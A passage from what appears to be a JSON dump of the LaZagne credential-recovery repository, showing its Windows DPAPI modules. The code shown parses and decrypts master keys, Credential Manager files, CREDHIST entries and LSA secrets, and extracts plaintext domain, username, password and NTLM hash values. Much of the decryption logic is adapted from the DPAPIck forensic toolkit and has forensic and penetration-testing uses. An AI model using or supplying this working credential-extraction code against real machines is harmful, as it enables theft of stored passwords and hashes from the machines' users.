masterkey used to decrypt the blob.\n        :param mkp: masterkey pool object (MasterKeyPool)\n        \"\"\"\n        mks = mkp.get_master_keys(self.mkguid)\n        if not mks:\n            return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid)\n\n        entropy = None\n        if entropy_hex:\n            entropy = codecs.decode(entropy_hex, 'hex')\n\n        for mk in mks:\n            if mk.decrypted:\n                self.decrypt(mk.get_key(), entropy=entropy)\n                if self.decrypted:\n                    return True, self.cleartext\n\n        return False, 'Unable to decrypt master key'\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/credfile.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects: \n- DPAPICK \t: https://bitbucket.org/jmichel/dpapick\n- DPAPILAB \t: https://github.com/dfirfpi/dpapilab\n\"\"\"\n\nfrom .blob import DPAPIBlob\nfrom .eater import DataStruct\n\n\nclass CredentialDecryptedHeader(DataStruct):\n    \"\"\"\n    Header of the structure returned once the blob has been decrypted\n    Header of the CredentialDecrypted class\n    \"\"\"\n    def __init__(self, raw=None):\n        self.total_size = None\n        self.unknown1 = None\n        self.unknown2 = None\n        self.unknown3 = None\n        self.last_update = None\n        self.unknown4 = None\n        self.unk_type = None\n        self.unk_blocks = None\n        self.unknown5 = None\n        self.unknown6 = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.total_size = data.eat(\"L\")\n        self.unknown1 = data.eat(\"L\")\n        self.unknown2 = data.eat(\"L\")\n        self.unknown3 = data.eat(\"L\")\n        self.last_update = data.eat(\"Q\")\n        self.unknown4 = data.eat(\"L\")\n        self.unk_type = data.eat(\"L\")\n        self.unk_blocks = data.eat(\"L\")\n        self.unknown5 = data.eat(\"L\")\n        self.unknown6 = data.eat(\"L\")\n\n\nclass CredentialDecrypted(DataStruct):\n    \"\"\"\n    Structure returned once the blob has been decrypted\n    \"\"\"\n    def __init__(self, raw=None):\n        self.header_size = None\n        self.header = None\n        self.domain = None\n        self.unk_string1 = None\n        self.unk_string2 = None\n        self.unk_string3 = None\n        self.username = None\n        self.password = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.header_size = data.eat(\"L\")\n        if self.header_size > 0:\n            self.header = CredentialDecryptedHeader()\n            self.header.parse(data.eat_sub(self.header_size - 4))\n        self.domain = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.unk_string1 = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.unk_string2 = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.unk_string3 = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.username = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n        self.password = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")  # Unicode\n\n\nclass CredFile(DataStruct):\n    \"\"\"\n    Decrypt Credentials Files stored on ...\\\\Microsoft\\\\Credentials\\\\...\n    \"\"\"\n    def __init__(self, raw=None):\n        self.unknown1 = None\n        self.blob_size = None\n        self.unknown2 = None\n        self.blob = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.unknown1 = data.eat(\"L\")\n        self.blob_size = data.eat(\"L\")\n        self.unknown2 = data.eat(\"L\")\n        if self.blob_size > 0:\n            self.blob = DPAPIBlob()\n            self.blob.parse(data.eat_sub(self.blob_size))\n\n    def decrypt(self, mkp, credfile):\n        ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp)\n        if ok:\n            cred_dec = CredentialDecrypted(msg)\n            if cred_dec.header.unk_type in [2, 3]:\n                return True, {\n                    'File': credfile,\n                    'Domain': cred_dec.domain,\n                    'Username': cred_dec.username,\n                    'Password': cred_dec.password,\n                }\n            elif cred_dec.header.unk_type == 2:\n                return False, 'System credential type'\n            else:\n                return False, 'Unknown CREDENTIAL type, please report.\\nCreds: {creds}'.format(creds=cred_dec)\n        else:\n            return ok, msg\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/credhist.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects: \n- DPAPICK \t: https://bitbucket.org/jmichel/dpapick\n- DPAPILAB \t: https://github.com/dfirfpi/dpapilab\n\"\"\"\n\nimport struct\nimport hashlib\n\nfrom . import crypto\nfrom .eater import DataStruct\n\n\nclass RPC_SID(DataStruct):\n    \"\"\"\n    Represents a RPC_SID structure. See MSDN for documentation\n    \"\"\"\n    def __init__(self, raw=None):\n        self.version = None\n        self.idAuth = None\n        self.subAuth = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"B\")\n        n = data.eat(\"B\")\n        self.idAuth = struct.unpack(\">Q\", b\"\\0\\0\" + data.eat(\"6s\"))[0]\n        self.subAuth = data.eat(\"%dL\" % n)\n\n    def __str__(self):\n        s = [\"S-%d-%d\" % (self.version, self.idAuth)]\n        s += [\"%d\" % x for x in self.subAuth]\n        return \"-\".join(s)\n\n\nclass CredhistEntry(DataStruct):\n\n    def __init__(self, raw=None):\n        self.pwdhash = None\n        self.hmac = None\n        self.revision = None\n        self.hashAlgo = None\n        self.rounds = None\n        self.cipherAlgo = None\n        self.shaHashLen = None\n        self.ntHashLen = None\n        self.iv = None\n        self.userSID = None\n        self.encrypted = None\n        self.revision2 = None\n        self.guid = None\n        self.ntlm = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.revision = data.eat(\"L\")\n        self.hashAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.rounds = data.eat(\"L\")\n        data.eat(\"L\")\n        self.cipherAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.shaHashLen = data.eat(\"L\")\n        self.ntHashLen = data.eat(\"L\")\n        self.iv = data.eat(\"16s\")\n\n        self.userSID = RPC_SID()\n        self.userSID.parse(data)\n\n        n = self.shaHashLen + self.ntHashLen\n        n += -n % self.cipherAlgo.blockSize\n        self.encrypted = data.eat_string(n)\n\n        self.revision2 = data.eat(\"L\")\n        self.guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")\n\n    def decrypt_with_hash(self, pwdhash):\n        \"\"\"\n        Decrypts this credhist entry with the given user's password hash.\n        Simply computes the encryption key with the given hash\n        then calls self.decrypt_with_key() to finish the decryption.\n        \"\"\"\n        self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID)))\n\n    def decrypt_with_key(self, enckey):\n        \"\"\"\n        Decrypts this credhist entry using the given encryption key.\n        \"\"\"\n        cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey,\n                                      self.iv, self.rounds)\n        self.pwdhash = cleartxt[:self.shaHashLen]\n        self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b\"\\x00\")\n        if len(self.ntlm) != 16:\n            self.ntlm = None\n\n\nclass CredHistFile(DataStruct):\n\n    def __init__(self, raw=None):\n        self.entries_list = []\n        self.entries = {}\n        self.valid = False\n        self.footmagic = None\n        self.curr_guid = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        while True:\n            l = data.pop(\"L\")\n            if l == 0:\n                break\n            self.addEntry(data.pop_string(l - 4))\n\n        self.footmagic = data.eat(\"L\")\n        self.curr_guid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % data.eat(\"L2H8B\")\n\n    def addEntry(self, blob):\n        \"\"\"\n        Creates a CredhistEntry object with blob then adds it to the store\n        \"\"\"\n        x = CredhistEntry(blob)\n        self.entries[x.guid] = x\n        self.entries_list.append(x)\n\n    def decrypt_with_hash(self, pwdhash):\n        \"\"\"\n        Try to decrypt each entry with the given hash\n        \"\"\"\n\n        if self.valid:\n            return\n\n        for entry in self.entries_list:\n            entry.decrypt_with_hash(pwdhash)\n\n    def decrypt_with_password(self, password):\n        \"\"\"\n        Decrypts this credhist entry with the given user's password.\n        Simply computes the password hash then calls self.decrypt_with_hash()\n        \"\"\"\n        if isinstance(password, bytes):\n            password = password.decode(\"latin-1\")\n\n        self.decrypt_with_hash(hashlib.sha1(password.encode(\"UTF-16LE\")).digest())\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/crypto.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#############################################################################\n#                                                                         ##\n# This file is part of DPAPIck                                            ##\n# Windows DPAPI decryption & forensic toolkit                             ##\n#                                                                         ##\n#                                                                         ##\n# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved.            ##\n# This document is the property of Cassidian SAS, it may not be copied or ##\n# circulated without prior licence                                        ##\n#                                                                         ##\n#  Author: Jean-Michel Picod <jmichel.p@gmail.com>                        ##\n#                                                                         ##\n# This program is distributed under GPLv3 licence (see LICENCE.txt)       ##\n#                                                                         ##\n#############################################################################\n\nimport array\nimport hashlib\nimport hmac\nimport struct\nimport sys\n\nfrom lazagne.config.crypto.rc4 import RC4\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB\nfrom lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC\nfrom lazagne.config.winstructure import char_to_int, chr_or_byte\n\n\ntry:\n    xrange\nexcept NameError:\n    xrange = range\n\nAES_BLOCK_SIZE = 16\n\n\nclass CryptoAlgo(object):\n    \"\"\"\n    This class is used to wrap Microsoft algorithm IDs with M2Crypto\n    \"\"\"\n\n    class Algo(object):\n        def __init__(self, data):\n            self.data = data\n\n        def __getattr__(self, attr):\n            if attr in self.data:\n                return self.data[attr]\n            raise AttributeError(attr)\n\n    _crypto_data = {}\n\n    @classmethod\n    def add_algo(cls, algnum, **kargs):\n        cls._crypto_data[algnum] = cls.Algo(kargs)\n        if 'name' in kargs:\n            kargs['ID'] = algnum\n            cls._crypto_data[kargs['name']] = cls.Algo(kargs)\n\n    @classmethod\n    def get_algo(cls, algnum):\n        return cls._crypto_data[algnum]\n\n    def __init__(self, i):\n        self.algnum = i\n        self.algo = CryptoAlgo.get_algo(i)\n\n    name = property(lambda self: self.algo.name)\n    module = property(lambda self: self.algo.module)\n    keyLength = property(lambda self: self.algo.keyLength / 8)\n    ivLength = property(lambda self: self.algo.IVLength / 8)\n    blockSize = property(lambda self: self.algo.blockLength / 8)\n    digestLength = property(lambda self: self.algo.digestLength / 8)\n\n    def do_fixup_key(self, key):\n        try:\n            return self.algo.keyFixup.__call__(key)\n        except AttributeError:\n            return key\n\n    def __repr__(self):\n        return \"%s [%#x]\" % (self.algo.name, self.algnum)\n\n\ndef des_set_odd_parity(key):\n    _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19,\n            19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37,\n            37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55,\n            55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73,\n            73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91,\n            91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107,\n            107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121,\n            121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134,\n            134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148,\n            148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162,\n            162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176,\n            176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191,\n            191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205,\n            205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218,\n            218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233,\n            233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247,\n            247, 248, 248, 251, 251, 253, 253, 254, 254]\n    tmp = array.array(\"B\")\n    tmp.fromstring(key)\n    for i, v in enumerate(tmp):\n        tmp[i] = _lut[v]\n    return tmp.tostring()\n\n\nCryptoAlgo.add_algo(0x6601, name=\"DES\", keyLength=64, blockLength=64, IVLength=64, module=des,\n                    keyFixup=des_set_odd_parity)\nCryptoAlgo.add_algo(0x6603, name=\"DES3\", keyLength=192, blockLength=64, IVLength=64, module=triple_des,\n                    keyFixup=des_set_odd_parity)\nCryptoAlgo.add_algo(0x6611, name=\"AES\", keyLength=128, blockLength=128, IVLength=128)\nCryptoAlgo.add_algo(0x660e, name=\"AES-128\", keyLength=128, blockLength=128, IVLength=128)\nCryptoAlgo.add_algo(0x660f, name=\"AES-192\", keyLength=192, blockLength=128, IVLength=128)\nCryptoAlgo.add_algo(0x6610, name=\"AES-256\", keyLength=256, blockLength=128, IVLength=128)\nCryptoAlgo.add_algo(0x8009, name=\"HMAC\", digestLength=160, blockLength=512)\nCryptoAlgo.add_algo(0x8003, name=\"md5\", digestLength=128, blockLength=512)\nCryptoAlgo.add_algo(0x8004, name=\"sha1\", digestLength=160, blockLength=512)\nCryptoAlgo.add_algo(0x800c, name=\"sha256\", digestLength=256, blockLength=512)\nCryptoAlgo.add_algo(0x800d, name=\"sha384\", digestLength=384, blockLength=1024)\nCryptoAlgo.add_algo(0x800e, name=\"sha512\", digestLength=512, blockLength=1024)\n\n\ndef CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):\n    \"\"\"\n    Computes the decryption key for XP DPAPI blob, given the masterkey and optional information.\n\n    This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC.\n    Instead of updating the inner pad, we update the outer pad...\n    This algorithm is also used when checking the HMAC for integrity after decryption\n\n    :param masterkey: decrypted masterkey (should be 64 bytes long)\n    :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)\n    :param entropy: this is the optional entropy from CryptProtectData() API\n    :param strongPassword: optional password used for decryption or the blob itself\n    :param verifBlob: optional encrypted blob used for integrity check\n    :returns: decryption key\n    :rtype : str\n    \"\"\"\n    if len(masterkey) > 20:\n        masterkey = hashlib.sha1(masterkey).digest()\n\n    masterkey += b\"\\x00\" * int(hashAlgo.blockSize)\n    ipad = b\"\".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))\n    opad = b\"\".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))\n    digest = hashlib.new(hashAlgo.name)\n    digest.update(ipad)\n    digest.update(nonce)\n    tmp = digest.digest()\n    digest = hashlib.new(hashAlgo.name)\n    digest.update(opad)\n    digest.update(tmp)\n    if entropy is not None:\n        digest.update(entropy)\n    if strongPassword is not None:\n        strongPassword = hashlib.sha1(strongPassword.rstrip(\"\\x00\").encode(\"UTF-16LE\")).digest()\n        digest.update(strongPassword)\n    elif verifBlob is not None:\n        digest.update(verifBlob)\n    return digest.digest()\n\n\ndef CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):\n    \"\"\"\n    Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information.\n\n    This implementation relies on an RFC compliant HMAC implementation\n    This algorithm is also used when checking the HMAC for integrity after decryption\n\n    :param masterkey: decrypted masterkey (should be 64 bytes long)\n    :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)\n    :param entropy: this is the optional entropy from CryptProtectData() API\n    :param strongPassword: optional password used for decryption or the blob itself\n    :param verifBlob: optional encrypted blob used for integrity check\n    :returns: decryption key\n    :rtype : str\n    \"\"\"\n    if len(masterkey) > 20:\n        masterkey = hashlib.sha1(masterkey).digest()\n\n    digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name))\n    digest.update(nonce)\n    if entropy is not None:\n        digest.update(entropy)\n    if strongPassword is not None:\n        strongPassword = hashlib.sha512(strongPassword.rstrip(\"\\x00\").encode(\"UTF-16LE\")).digest()\n        digest.update(strongPassword)\n    elif verifBlob is not None:\n        digest.update(verifBlob)\n    return digest.digest()\n\n\ndef CryptDeriveKey(h, cipherAlgo, hashAlgo):\n    \"\"\"\n    Internal use. Mimics the corresponding native Microsoft function\n    \"\"\"\n    if len(h) > hashAlgo.blockSize:\n        h = hashlib.new(hashAlgo.name, h).digest()\n    if len(h) >= cipherAlgo.keyLength:\n        return h\n    h += b\"\\x00\" * int(hashAlgo.blockSize)\n    ipad = b\"\".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))\n    opad = b\"\".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))\n    k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest()\n    k = k[:cipherAlgo.keyLength]\n    k = cipherAlgo.do_fixup_key(k)\n    return k\n\n\ndef decrypt_lsa_key_nt5(lsakey, syskey):\n    \"\"\"\n    This function decrypts the LSA key using the syskey\n    \"\"\"\n    dg = hashlib.md5()\n    dg.update(syskey)\n    for i in xrange(1000):\n        dg.update(lsakey[60:76])\n    arcfour = RC4(dg.digest())\n    deskey = arcfour.encrypt(lsakey[12:60])\n    return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)]\n\n\ndef decrypt_lsa_key_nt6(lsakey, syskey):\n    \"\"\"\n    This function decrypts the LSA keys using the syskey\n    \"\"\"\n    dg = hashlib.sha256()\n    dg.update(syskey)\n    for i in range(1000):\n        dg.update(lsakey[28:60])\n\n    k = AESModeOfOperationECB(dg.digest())\n    keys = b\"\".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)])\n\n    size = struct.unpack_from(\"<L\", keys)[0]\n    keys = keys[16:16 + size]\n    currentkey = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % struct.unpack(\"<L2H8B\", keys[4:20])\n    nb = struct.unpack(\"<L\", keys[24:28])[0]\n    off = 28\n    kd = {}\n    for i in range(nb):\n        g = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % struct.unpack(\"<L2H8B\", keys[off:off + 16])\n        t, l = struct.unpack_from(\"<2L\", keys[off + 16:])\n        k = keys[off + 24:off + 24 + l]\n        kd[g] = {\"type\": t, \"key\": k}\n        off += 24 + l\n    return (currentkey, kd)\n\n\ndef SystemFunction005(secret, key):\n    \"\"\"\n    This function is used to decrypt LSA secrets.\n    Reproduces the corresponding Windows internal function.\n    Taken from creddump project https://code.google.com/p/creddump/\n    \"\"\"\n    decrypted_data = ''\n    j = 0\n    algo = CryptoAlgo(0x6603)\n    for i in range(0, len(secret), 8):\n        enc_block = secret[i:i + 8]\n        block_key = key[j:j + 7]\n        des_key = []\n        des_key.append(char_to_int(block_key[0]) >> 1)\n        des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2))\n        des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3))\n        des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4))\n        des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5))\n        des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6))\n        des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7))\n        des_key.append(char_to_int(block_key[6]) & 0x7F)\n        des_key = algo.do_fixup_key(\"\".join([chr(x << 1) for x in des_key]))\n\n        decrypted_data += des(des_key, ECB).decrypt(enc_block)\n        j += 7\n        if len(key[j:j + 7]) < 7:\n            j = len(key[j:j + 7])\n    dec_data_len = struct.unpack(\"<L\", decrypted_data[:4])[0]\n    return decrypted_data[8:8 + dec_data_len]\n\n\ndef decrypt_lsa_secret(secret, lsa_keys):\n    \"\"\"\n    This function replaces SystemFunction005 for newer Windows\n    \"\"\"\n    keyid = b\"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x\" % struct.unpack(\"<L2H8B\", secret[4:20])\n    if keyid not in lsa_keys:\n        return None\n    algo = struct.unpack(\"<L\", secret[20:24])[0]\n    dg = hashlib.sha256()\n    dg.update(lsa_keys[keyid][\"key\"])\n    for i in xrange(1000):\n        dg.update(secret[28:60])\n\n    c = AESModeOfOperationECB(dg.digest())\n    clear = b\"\".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)])\n\n    size = struct.unpack_from(\"<L\", clear)[0]\n    return clear[16:16 + size]\n\n\ndef pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'):\n    \"\"\"\n    Implementation of PBKDF2 that allows specifying digest algorithm.\n    Returns the corresponding expanded key which is keylen long.\n    \"\"\"\n    buff = b\"\"\n    i = 1\n    while len(buff) < keylen:\n        U = salt + struct.pack(\"!L\", i)\n        i += 1\n        derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()\n        for r in xrange(iterations - 1):\n            actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()\n            tmp = b''\n            for x, y in zip(derived, actual):\n                if sys.version_info > (3, 0):\n                    tmp += struct.pack(\">B\", x ^ y)\n                else:\n                    tmp += chr(char_to_int(x) ^ char_to_int(y))\n            derived = tmp\n        buff += derived\n    return buff[:int(keylen)]\n\n\ndef derivePwdHash(pwdhash, sid, digest='sha1'):\n    \"\"\"\n    Internal use. Computes the encryption key from a user's password hash\n    \"\"\"\n    return hmac.new(pwdhash, (sid + \"\\0\").encode(\"UTF-16LE\"), digestmod=lambda: hashlib.new(digest)).digest()\n\n\ndef dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):\n    \"\"\"\n    Internal use. Decrypts data stored in DPAPI structures.\n    \"\"\"\n    hname = {\"HMAC\": \"sha1\"}.get(hashAlgo.name, hashAlgo.name)\n    derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)\n    key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):]\n    key = key[:int(cipherAlgo.keyLength)]\n    iv = iv[:int(cipherAlgo.ivLength)]\n\n    if \"AES\" in cipherAlgo.name:\n        cipher = AESModeOfOperationCBC(key, iv=iv)\n        cleartxt = b\"\".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)])\n    else:\n        cipher = cipherAlgo.module(key, CBC, iv)\n        cleartxt = cipher.decrypt(raw)\n    return cleartxt\n\n\ndef DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):\n    \"\"\"\n    Internal function used to compute HMACs of DPAPI structures\n    \"\"\"\n    hname = {\"HMAC\": \"sha1\"}.get(hashAlgo.name, hashAlgo.name)\n    encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))\n    encKey.update(hmacSalt)\n    encKey = encKey.digest()\n    rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))\n    rv.update(value)\n    return rv.digest()\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/eater.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#############################################################################\n##                                                                         ##\n## This file is part of DPAPIck                                            ##\n## Windows DPAPI decryption & forensic toolkit                             ##\n##                                                                         ##\n##                                                                         ##\n## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved.            ##\n## This document is the property of Cassidian SAS, it may not be copied or ##\n## circulated without prior licence                                        ##\n##                                                                         ##\n##  Author: Jean-Michel Picod <jmichel.p@gmail.com>                        ##\n##                                                                         ##\n## This program is distributed under GPLv3 licence (see LICENCE.txt)       ##\n##                                                                         ##\n#############################################################################\n\nimport struct\n\n\nclass Eater(object):\n    \"\"\"This class is a helper for parsing binary structures.\"\"\"\n\n    def __init__(self, raw, offset=0, end=None, endianness=\"<\"):\n        self.raw = raw\n        self.ofs = offset\n        if end is None:\n            end = len(raw)\n        self.end = end\n        self.endianness = endianness\n\n    def prepare_fmt(self, fmt):\n        \"\"\"Internal use. Prepend endianness to the given format if it is not\n        already specified.\n\n        fmt is a format string for struct.unpack()\n\n        Returns a tuple of the format string and the corresponding data size.\n\n        \"\"\"\n        if fmt[0] not in [\"<\", \">\", \"!\", \"@\"]:\n            fmt = self.endianness+fmt\n        return fmt, struct.calcsize(fmt)\n\n    def read(self, fmt):\n        \"\"\"Parses data with the given format string without taking away bytes.\n        \n        Returns an array of elements or just one element depending on fmt.\n\n        \"\"\"\n        fmt, sz = self.prepare_fmt(fmt)\n        v = struct.unpack_from(fmt, self.raw, self.ofs)\n        if len(v) == 1:\n            v = v[0]\n        return v\n\n    def eat(self, fmt):\n        \"\"\"Parses data with the given format string.\n        \n        Returns an array of elements or just one element depending on fmt.\n\n        \"\"\"\n        fmt, sz = self.prepare_fmt(fmt)\n        v = struct.unpack_from(fmt, self.raw, self.ofs)\n        if len(v) == 1:\n            v = v[0]\n        self.ofs += sz\n        return v\n\n    def eat_string(self, length):\n        \"\"\"Eats and returns a string of length characters\"\"\"\n        return self.eat(\"%us\" % length)\n\n    def eat_length_and_string(self, fmt):\n        \"\"\"Eats and returns a string which length is obtained after eating\n        an integer represented by fmt\n\n        \"\"\"\n        l = self.eat(fmt)\n        return self.eat_string(l)\n\n    def pop(self, fmt):\n        \"\"\"Eats a structure represented by fmt from the end of raw data\"\"\"\n        fmt, sz = self.prepare_fmt(fmt)\n        self.end -= sz\n        v = struct.unpack_from(fmt, self.raw, self.end)\n        if len(v) == 1:\n            v = v[0]\n        return v\n\n    def pop_string(self, length):\n        \"\"\"Pops and returns a string of length characters\"\"\"\n        return self.pop(\"%us\" % length)\n\n    def pop_length_and_string(self, fmt):\n        \"\"\"Pops and returns a string which length is obtained after poping an\n        integer represented by fmt.\n\n        \"\"\"\n        l = self.pop(fmt)\n        return self.pop_string(l)\n    \n    def remain(self):\n        \"\"\"Returns all the bytes that have not been eated nor poped yet.\"\"\"\n        return self.raw[self.ofs:self.end]\n\n    def eat_sub(self, length):\n        \"\"\"Eats a sub-structure that is contained in the next length bytes\"\"\"\n        sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)\n        self.ofs += length\n        return sub\n\n    def __nonzero__(self):\n        return self.ofs < self.end\n\n\nclass DataStruct(object):\n    \"\"\"Don't use this class unless you know what you are doing!\"\"\"\n\n    def __init__(self, raw=None):\n        if raw is not None:\n            self.parse(Eater(raw, endianness=\"<\"))\n\n    def parse(self, eater_obj):\n        raise NotImplementedError(\"This function must be implemented in subclasses\")\n\n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/masterkey.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects: \n- DPAPICK : https://bitbucket.org/jmichel/dpapick\n- DPAPILAB : https://github.com/dfirfpi/dpapilab\n\"\"\"\n\nfrom . import crypto\nfrom .credhist import CredHistFile\nfrom .system import CredSystem\nfrom .eater import DataStruct, Eater\nfrom collections import defaultdict\n\nimport binascii\nimport codecs\nimport hashlib\nimport struct\nimport os\n\nfrom lazagne.config.constant import constant\nfrom lazagne.config.crypto.md4 import MD4\n\n\nclass MasterKey(DataStruct):\n    \"\"\"\n    This class represents a MasterKey block contained in a MasterKeyFile\n    \"\"\"\n\n    def __init__(self, raw=None):\n        self.decrypted = False\n        self.key = None\n        self.key_hash = None\n        self.hmacSalt = None\n        self.hmac = None\n        self.hmacComputed = None\n        self.cipherAlgo = None\n        self.hashAlgo = None\n        self.rounds = None\n        self.iv = None\n        self.version = None\n        self.ciphertext = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        self.version = data.eat(\"L\")\n        self.iv = data.eat(\"16s\")\n        self.rounds = data.eat(\"L\")\n        self.hashAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.cipherAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.ciphertext = data.remain()\n\n    def decrypt_with_hash(self, sid, pwdhash):\n        \"\"\"\n        Decrypts the masterkey with the given user's hash and SID.\n        Simply computes the corresponding key then calls self.decrypt_with_key()\n        \"\"\"\n        self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid))\n\n    def decrypt_with_password(self, sid, pwd):\n        \"\"\"\n        Decrypts the masterkey with the given user's password and SID.\n        Simply computes the corresponding key, then calls self.decrypt_with_hash()\n        \"\"\"\n        try:\n            pwd = pwd.encode(\"UTF-16LE\")\n        except Exception:\n            return\n\n        # sha1 \n        self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(\"sha1\", pwd).digest())\n        if self.decrypted:\n            return\n\n        # md4\n        self.decrypt_with_hash(sid=sid, pwdhash=binascii.unhexlify(MD4(pwd).hexdigest()))\n\n        # hashlib does not support md4 hash anymore \n        # for algo in [\"sha1\", \"md4\"]:\n        #     self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest())\n        #     if self.decrypted:\n        #         break\n\n    def decrypt_with_key(self, pwdhash):\n        \"\"\"\n        Decrypts the masterkey with the given encryption key.\n        This function also extracts the HMAC part of the 